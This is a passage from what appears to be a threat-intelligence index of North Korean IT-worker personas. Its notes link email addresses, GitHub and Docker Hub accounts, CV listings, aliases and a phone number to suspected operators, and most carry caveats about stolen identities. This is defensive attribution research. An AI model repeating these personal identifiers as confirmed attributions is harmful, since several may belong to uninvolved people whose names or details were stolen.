smith0811, a login the index already carries for this persona on another platform. The profile states no member-since date this site could read. It displays the name jhon smith, which no source this site holds had attached to this operator before. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- anywhere0811 -- and asking Docker Hub whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 16 December 2024 and a display name of Hlieb Bashchun. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 21 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae, one of 1,882 such listings posted between 26 June and 2 July 2025 from seller accounts named after each CV's subject. The listing carries a photograph as its product image; it is the same photograph four other listings in the set carry under four other names, so it is not shown here and is not evidence of anyone's face. What ties this listing to the index is the GitHub account printed on the CV, princecharming0115, read directly on 21 September 2026. The account was created in October 2022 and holds 25 repositories. Its own commits are signed coolprince0115@gmail.com 491 times and, once, on the repository it created most recently, dsalo0915@gmail.com, the address the CV gives. Two of its repositories, exoid-did-wallet-backend and did-wallet-verifier-widget, hold 44 commits by a second account, arturdranhoi, signed artur.dranhoi@exiod.io and artur.dranhoi@exoid.io, beside commits by a developer at Exoid, the company whose product they are; the CV describes that product, a decentralised-identity wallet with zero-knowledge proofs built for a DIFC Court notarisation project, as this persona's own work. The lazarus.group registry lists coolprince0115@gmail.com and artur.dranhoi@exiod.io under one operator it names Oleksandr Muravskyi, alias Artur Dranhoi, alias PrinceCharming0115, with no published methodology; the commit metadata read here ties those two addresses and the CV's own to one GitHub account first-hand, which is the corroboration the registry entry lacked, and adds the name, address and telephone number this CV presents under. The registry's remaining two addresses are not repeated here because nothing read first-hand reaches them. The telephone number is printed on the CV as shown and is too short to be a complete Finnish mobile number. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Jacksonville, Florida and the role it presents as Sr. Java Software Engineer, and the contact details above. The record adds a mailbox and a LinkedIn profile from the persona's working files. Across the site's records, +19049022559 also appears on the record for Jason Brown. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry and the ZEUS-DEV-919 working document give for a persona, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/ssmith542 is account id 48925763, created on 25 March 2019. Of the 100 commits GitHub's search returns for it, 31 are signed dannyjin117@gmail.com and 6 as5179000@gmail.com, and 56 are signed with its own noreply address under the former handles dansofter and webninja1992; a further six commits in its repositories are signed webninja16@gmail.com. lazarus.group gives all three of those mailboxes for Danny Jin. The commits carry the author names Danny, danny-biztree, topdev17 and dansofter, and are made on the day each repository is created.","Posted as a reply to browsercookies, listing four names the operator uses alongside two addresses, a telephone number and three links. The portfolio site is deployed under a Vercel account named ares-dev, which is the same account name browsercookies documents separately as ares-dev05; the two posts are independent, and this site records the link as the coincidence of naming that it is rather than merging the identities on it. The post also links a LinkedIn account, which was checked and found to belong to a real and unconnected person; it is recorded in the held-back list rather than here.","Confirmed by Chollima Hunter research and rated medium confidence; corroborated by i3 Threat Advisory: email indicator appendix, DTEX Systems. Chollima Hunter research pairs the name Darius Wilson-Prince with dariusprince.net@gmail.com and dariusprince90@gmail.com. The first is the same Gmail mailbox as dariusprincenet@gmail.com, because Gmail ignores dots, and that address is in DTEX's i3 Threat Advisory email-indicator appendix, which this site already indexes; DTEX notes that the appendix is not by itself proof of attribution. The second address is the commit author on repositories of the GitHub account prince0409 (created March 2023, display name Prince), whose repositories include several that are named as take-home coding exercises (bhe-code-exercise, patient-matcher, freight-delay, sunvoy) beside a BC.Game browser extension and a wallet project. The torre.ai profile, read on 3 October 2026, presents a front-end engineer in Columbia, South Carolina with over ten years of experience: Jeenie from 2019 to 2023, Softpath System LLC from 2014 to 2019 and Tropic from 2011 to 2014, none of it verified on the platform. That history may be borrowed from a real person, and nothing here names one.","The researcher presents all of these as addresses used by one operator he calls David. The three on haruhana-happytown.com are described as belonging to a Korean-named application, Haru Hana; the remaining addresses follow in two further posts of the same thread.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 2 commits signed andreipetrica0302@gmail.com, an address browsercookies publishes for this persona, to github.com/AndreiPetrica, account id 176408806, created on 23 July 2024, with 1 public repository. GitHub attributes 1 commit signed kyrychenkov30@gmail.com, an address browsercookies publishes for this persona, to the login jupiter211developer, which no longer resolves.","The researcher publishes two stills of the same person from video calls, captioned David Ye in one post and David Rose in its follow-up, and adds that the operator hosts his laptops with a facilitator in Minnesota and uses the identity of a college graduate in Texas who also stands in to complete identity checks on his behalf for money.","One post listing three names together with a single pool of addresses, phone numbers, accounts and portfolio sites, under the heading the researcher gives it. The post does not say which value belongs to which name, and it does not say the three are one operator, so only the values that name a person themselves are attributed. Everything else is recorded as a group. Independently, Group-IB's research on a reusable persona shell it tracks as cybersage14 names Dejan-Teofilovic as an identity that account shifted to, and the GitHub account under that name was already indexed from that report; this post is a second, separate citation for it.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 30 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address guzmandelfino1992@gmail.com is what tied the listing to this site's index: it appears in Appendix A of Flare's report Inside the North Korean Infiltrator Threat. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Raden Wilford's article maps the commit history of the identity the lazarus.group registry files as Mauro Liu: 1,558 commits over seven years across 68 repositories and seventeen organisations, including Harmony, MetaMask and DefiLlama. It binds the GitHub account imyugioh, id 54774811, and its former logins raptor1001, ethlocker, 0xlocker and burndai by noreply addresses; adds 0xllaCh, which holds the contract work; and adds a second account, id 39268153, with the logins gmspacex, holy-pengy, 0xMars, zeusdice and firekingsid, which it ties to the mauroliu77 half by 279 of 279 matching author times and tree hashes. It records that commits under one address declared Asian and Western clocks on forty-four days of the same repository, which it reads as more than one operator on one identity, and it states that no exploit is attributed to the identity. The article names daiki-iu, a collaborator on HedgePie, as a registry alias of the persona; that is carried only in this note. Its X handles 0xchamel and zhExcal and the alias Xu Liu are what the article reports the registry entry to carry.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 1 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address derek.otieno.2020@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved, and in Appendix A of Flare's report Inside the North Korean Infiltrator Threat. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","One of four personas the post presents side by side, each as a single dark card giving a handle, a job title, a photograph and a row of platform links. The post's text carries the accounts; the card carries the title and the face. The researcher's own shorthand names this one differently in the text than the card does, and the card's spelling is what is used here, because that is the name the identity presents. The card gives the title \"React & Blockchain & Ai Engineer\" and links to Telegram and LinkedIn; only the Telegram account is named in the post.","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Post seven states the account previously operated as GreenGarden510, now deleted, committed as DIAMOND under this address, and ran a second account, xfika, also deleted, so that a two-person collaboration on an Avalanche NFT marketplace was one operator using two accounts. Created 17 August 2021, one day before jusdy.","Nisos's report of 19 March 2025, \"Likely DPRK Network Backstops on GitHub, Targets Companies Globally\", published on its site and as a LinkedIn article whose full text is a PDF, tracks personas posing as Vietnamese, Japanese and Singaporean developers that reuse matured GitHub accounts and portfolio content from older personas, and whose addresses recur with the number 116 and the word dev. The values here are from the report's contact table and its footnotes. The companies the personas list as employers are not carried as indicators. The report reached this persona through nickdev0118, which co-authored commits with AnacondaDev0120, a previously identified likely DPRK IT-worker account, and found it listed on the Huy Diep website, whose photographs it shows to be the persona's head pasted onto stock images. The report states the persona appears to have been employed as a software engineer at a Japanese consulting company since September 2023. The Telegram handle superbluestar is one the report attributes jointly to this persona, Naoyuki Tanaka and Shaorun Zhang.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- ernestpapyan -- and asking dev.to whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 17 June 2022 and a display name of Dragan Leonidov. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under lucenera75, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 4 September 2018. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- robertodifiore75 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of roberto di fiore. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","The same foxcorp organisation prompt appears on the GitHub profile in the Axiom 88 entry, captured by the same researcher two days earlier.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 27 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address dylanaespinosa@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in Estonia; the address above is that mailbox. The register marks no LinkedIn profile as created for it. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 27 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address lampenrique128@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Found on 17 September 2026 by asking Keybase whether an account exists under ggsofter, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 20 February 2021 and no display name but the handle itself. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under gsofter, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 30 July 2023. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under guru2921, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 3 September 2019. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry and the ZEUS-DEV-919 working document give for a persona, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/poodaydreamer is account id 49583931, created on 13 April 2019, display name poodler, with 149 public repositories. Its commits carry noreply addresses under gsofter, guru2921 and gurusoft13, so it is the account lazarus.group lists as both github.com/gsofter and github.com/guru2921, renamed; tayvano lists gsofter. Neither handle now resolves. Its repositories hold 97 commits signed real.kingstar@outlook.com, an address the registry gives for Eric Andrade, under the author name gsofter.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 27 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address erickbarreironet@outlook.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- ernestpapyan -- and asking Docker Hub whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 16 June 2024 and a display name of Ernest Papyan. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under keizir, a login the index already carries for this persona on another platform. The profile gives a member-since date of 31 January 2026. It displays the name Eugene Lynch, which no source this site holds had attached to this operator before. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Name the researcher publishes for an operator in the same run of posts, with a cropped identity photograph attached and no account or address alongside it.","LinkedIn profile the researcher assesses as a DPRK IT worker, giving Chief Software Engineer, St. Petersburg, Florida, 27 connections, marked open to work, and listing Deltek and the University of Tennessee at Knoxville over a Microsoft campus cover image. The portrait is evidently generated. Two other identities in the same post carry contact details printed into their banner artwork; this one does not, so the name is all there is.","The post presents this identity as a friend of Aiden Mori. Three later citations fill the entry out. The commit comment thread on this account's own Ari-FE-Challenge repository is the operator writing in his own words: he gives supertalented730@gmail.com as his contact, describes himself as having built decentralised finance projects, automated market makers, a token launch platform, a sniping bot and a mixer, and names a token launch platform he says he worked on as a Solidity developer. The second commit is git metadata rather than prose and carries the same address as its author field, which is what ties the account to it without anyone having to take the persona's word for it; its merge message also records an SSH host alias named for the identity. The three npm packages are the same account publishing malware: reporting on NodeCordRAT names bitcoin-main-lib, bitcoin-lib-js and bip40 as uploaded by wenmoonx and taken down in November 2025. They are recorded as package indicators rather than held under the polarity rule because these are packages the operator published, not legitimate ones that were compromised, so the bare name identifies the threat rather than a victim. The post also states that the identity was itself targeted by the Marko Polo crew through a GitHub account that pushed malware. That account belongs to the party attacking this persona rather than to a DPRK operator, so it is not recorded as an indicator here; the approach it made is quoted in the held-back list, because the exchange is the clearest evidence of which direction the lure was running.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- supertalented730 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of yucob yun. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","The post gives the identity's name, one address and one GitHub account, with no further detail in its text.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under harun961018, a login the index already carries for this persona on another platform. The profile gives a member-since date of 14 November 2023. It displays \"harun961018\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Name the researcher publishes for an operator encountered on a video call, shown in the frame as Faraz Q, which is the only form of it published. This is the post that opens the 18 April 2025 conversation described in docs/x-source-backlog.md, and the one that demonstrated X search will not list a post inside a window it is asked for.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under 0xnevo, a login the index already carries for this persona on another platform. The profile gives a member-since date of 26 February 2025. It displays the name Felix Martel, which no source this site holds had attached to this operator before. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Tampa, Florida and the role it presents as Senior Elixir/Go Software Engineer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read 2026-09-24 by searching GitHub commits for the persona's address. GitHub credits commits signed filip.markovic.930420@gmail.com, this persona's address, to LarryLevine495, an account created in November 2023 that displays the name Larry Levine and a Texas location: one account joining two of Hayden McKenzie's personas.","The post states this operator transferred over $300,000 from a public ENS address to Kim Sang Man, who is named on the OFAC sanctions list. It gives 'Gary Lee' explicitly as a fake name.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under leech_dev, a login the index already carries for this persona on another platform. The profile gives a member-since date of 11 March 2021. It displays the name Gary Lee, the same name the reporting already gives. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","A five-post thread. The researcher states this operator infected his own machine with Contagious Interview malware, which is how the material became visible, and that he holds a large number of compromised accounts and has run two fake companies in the United States. The first of those, TechBizGo, was used to recruit facilitators through a neighbourhood listings page for Ogden, Utah; the second, Ninja Development LLC, advertised web3 and smart-contract development. The addresses in the third post are the ones the researcher says were most used; the fourth post continues the same list. The closing post of the thread, missed when this entry was first transcribed, carries two IP addresses tied to the operator; they are added here.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 3 commits signed dragonfire.0827@gmail.com, an address Narcass3 publishes for this persona, and 13 commits signed zhangleowork@gmail.com, an address Narcass3 publishes for this persona, to github.com/devvenom11, account id 33862227, created on 21 November 2017, display name Leo Zhang, with 29 public repositories.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Nashville, Tennessee and the role it presents as Senior Full Stack Engineer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read on 3 October 2026. hsweataimpact, created on 11 June 2025, displays the name Gerson Stuva, which a researcher published in August 2025 as an alias of one operator, with a bio recruiting an interview coordinator with native or fluent English for Aimpact Limited. A commit authored as Gerson Stuva on 22 September 2024 is signed with the private address of TopSecretStar, an account displaying the name Gerson Cordova. Aimpact is a common company name and no specific firm is suggested.","Confirmed by Chollima Hunter research and rated high confidence; corroborated by Post listing Gerson Stuva among the other personas of one operator, browsercookies on X. Found on 3 October 2026 while tracing the Kaspar Kruus persona, whose operator the researcher's post also gives the alias Gerson Stuva. The GitHub account hsweataimpact, created on 11 June 2025, displays the name Gerson Stuva and the bio \"Head of Engineering at Aimpact Limited, who is hiring Interview Coordinator (Native/Fluent English)\": a recruiting pitch for someone to sit in on interviews in fluent English. A commit search on the name returns one commit authored as Gerson Stuva under the private address of TopSecretStar, an account created in June 2021 that displays the name Gerson Cordova, Senior Software Developer with over ten years of experience, Kyle, Texas. That commit sits in secretstar521/Trading-View on 22 September 2024 beside commits by TopSecretStar at krrawata@gmail.com, by secretstar521 (Secret Star, Sr. Software Engineer, created December 2023) and one from a Windows machine named DESKTOP-LA2HM8U at prodev323@gmail.com. Aimpact is a common company name and no specific firm is suggested.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 27 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address hafizahmed.tx@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation. The listing carries no name of its own: the CV opens on its contact line, and the seller account is the handle hafizahmed.tx, whose tx matches the Houston address the CV gives. Hafiz Ahmed is this site reading that handle and the address it matches, not a name the page states, and the handle is kept as an alias so the page is still reachable by it. The LinkedIn account the CV links, /in/hatx/, carries the same initials. The CV prints a LinkedIn address, linkedin.com/in/hatx, which was opened under an authenticated session on 21 September 2026: it resolves to a service-quality and marketing manager in Haiphong, Vietnam, with 500+ connections, 874 followers and eight months of Vietnamese-language posts, a long-established account with no connection to a Houston developer. The CV's author evidently typed a plausible short handle rather than one they held, so the address is recorded here as the CV's claim and is not carried as an indicator, because it would point a reader at an uninvolved person.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Tyler, Texas, the role it presents as Full Stack Developer, and the contact details above. This site already holds the X account Hakeohiratani and the web3.career handle hakeohiratani, both from a May 2025 Narcass3 post that addresses the account as a DPRK operator. The name matches across two researchers working from unrelated material; the Gmail address here appears in neither of those posts. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read 2026-09-24 by searching GitHub commits for the persona's address. GitHub credits commits signed hiratani0305@gmail.com, the persona's address, to hiratani0219, created in March 2022, including commits in the CA persona's devhakeo repositories.","The Rewards for Justice programme names this as one of the aliases under which North Korean IT workers obtained remote software and application development work at United States companies between about October 2020 and October 2023, using false identities belonging to more than sixty real United States persons, with Christina Chapman hosting their employer-issued laptops and handling their pay; it states the scheme generated at least $6.8 million for the DPRK and links the workers to the Munitions Industry Department. The notice publishes the alias and nothing else about it: no account, address or telephone number. It is an alias, so the real person whose name or details it may have been assembled from is not the worker. The notice publishes a photograph for this alias alone. The poster prints the names surname first, and that order is kept as an alias so either form finds the record.","Name the researcher publishes for an operator it says uses a Texas driver licence, with a cropped identity photograph attached. The licence is not reproduced here.","Every value here is in the post's own text, the two addresses defanged in the way this researcher writes them. The post ties the identity to a second one it calls TopDev707 and says the link runs to roughly a hundred further identities, which is the researcher's assessment of scale and not something this site can check. Several of these values were already in the index from published vendor reporting; what this entry adds is the researcher's grouping of them under one name.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- haruto918miura -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Haruto Miura. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 12 September 2026 by probing the platforms an operator usually reuses a login on, for the handles this site already holds, and read directly from the page cited. The DEV Community account is the richest single page found for this operator: it presents as Ash Pala, joined 14 December 2021, claims \"Full-stack developer with 7 years of experience since 2013\" with Solidity and Hardhat among the skills, gives the location as Moscow, Russia, and publishes three of its own contact points — the address jsreputation@gmail.com, which this site already held, the GitHub account of the same name, and an about.me page under the slug urichoi. Both names it ties together, Ash Pala and Uri Choi, are names the reporting already files this operator under, which is what makes the page corroboration rather than a new lead. The dev.to account answers on the handle ashpala and on jsreputation, the older login. The GitLab account under jsreputation is a member since 11 March 2022 and states nothing but the display name \"JS Reputation\".","Found on 17 September 2026 by asking Keybase whether an account exists under ashpala, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 10 March 2023 and no display name but the handle itself. The profile carries a signed proof claiming the GitHub account jsreputation. A Keybase proof is a statement posted to the other account and signed by this one, so it evidences that whoever held this login also held that account at the time it was posted. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under ashpala, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 23 October 2017. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/uripandada is account id 99074029, created on 5 February 2022, display name Ash Palania, location Russia. All 100 of its own commits in GitHub's search are signed uripandada@gmail.com, an address Narcass3 gives for He-Song Cui, and two commits in its repositories are signed jsreputation@gmail.com, another address the researcher gives for the persona. github.com/MachineLearningMike also commits heavily with an address on the same entry, fleetpro@gmail.com, but that address belongs to the paper co-author the researcher did not name as the worker, and that account is not filed.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in Finland; the address above is that mailbox. The register marks a LinkedIn profile as created for it; the profile's address is not published. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. A Slack screenshot in the report shows its LinkedIn profile, linkedin.com/in/helmi-laine-4aab07432, among the four Jasmine submitted that the cell's trainer said were already banned. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives the role it presents as .NET Developer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","A reply to browsercookies giving the identity with its indicators written defanged in the post text, recorded here refanged. The post goes on to describe an interview in which the operator appeared to have a second person sitting beside them at the same desk; the remainder of that account runs past the length the syndication endpoint returns and is not transcribed here.","The address is in the post text, defanged as key[.]pro[.]dev@gmail[.]com. The GitHub account is in the screenshot: the profile KeyProDev under the display name Super, biography \"Blockchain & Full-Stack & Mobile App Developer\", one follower and one account followed, a default identicon for an avatar, and a README claiming five years as a seasoned full-stack developer.","Name the researcher publishes for an operator encountered on a video call, with a seaside virtual background in use. This is the first material recorded here from this account.","Entry in the lazarus.group DPRK IT-worker registry, which publishes this identity on a page of its own and also lists Hiroto Iwaki as a fake name on its Motoki Masuo page, filing the same address under both. It is carried here as one persona on the registry's own assertion that the two names belong to one operator. The registry publishes no methodology, so this is recorded as its claim and not as a finding of this site. Its evidence links and its cross-references to other operators in the same registry are deliberately not reproduced as indicators.","Found on 12 September 2026 by searching the open web for the handles this site already holds for this operator. The page is a jobseeker profile on Cryptojobslist under the handle iwakihiroto, which is the GitHub login a researcher attributes to this persona, and it advertises for work: \"Full stack blockchain developer and smart contract security auditor in Japan. Remote, Part-time, Full-time. In crypto since 2020.\" The full name and any linked accounts sit behind a sign-in, so only what the page shows anonymously is recorded. That the handle is the same is the link; nothing here establishes that the same person holds both.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used. This persona is documented elsewhere in the repository already and the document is a second, independent compilation of the same accounts. It adds that the identity's profile pictures are photographs of a South Korean actor, which is why that actor stays in the held-back list: he is the subject of stolen images and is not accused of anything.","The post names one North Korean IT worker under three identities at once and carries no other detail in its text.","Read on 28 September 2026 from the site's own page and the script bundles it loads. The portfolio's contact section, beside the nickdev0118 GitHub account and address and the superbluestar Telegram handle, links a LinkedIn profile and a Discord user id.","The post relates this identity to Aiden Mori and Evan Jones. The address is transcribed exactly as published, with outloook spelled with three letter o's; correcting it would invent an address the post does not state. The address topdeveloper1999@outlook.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a 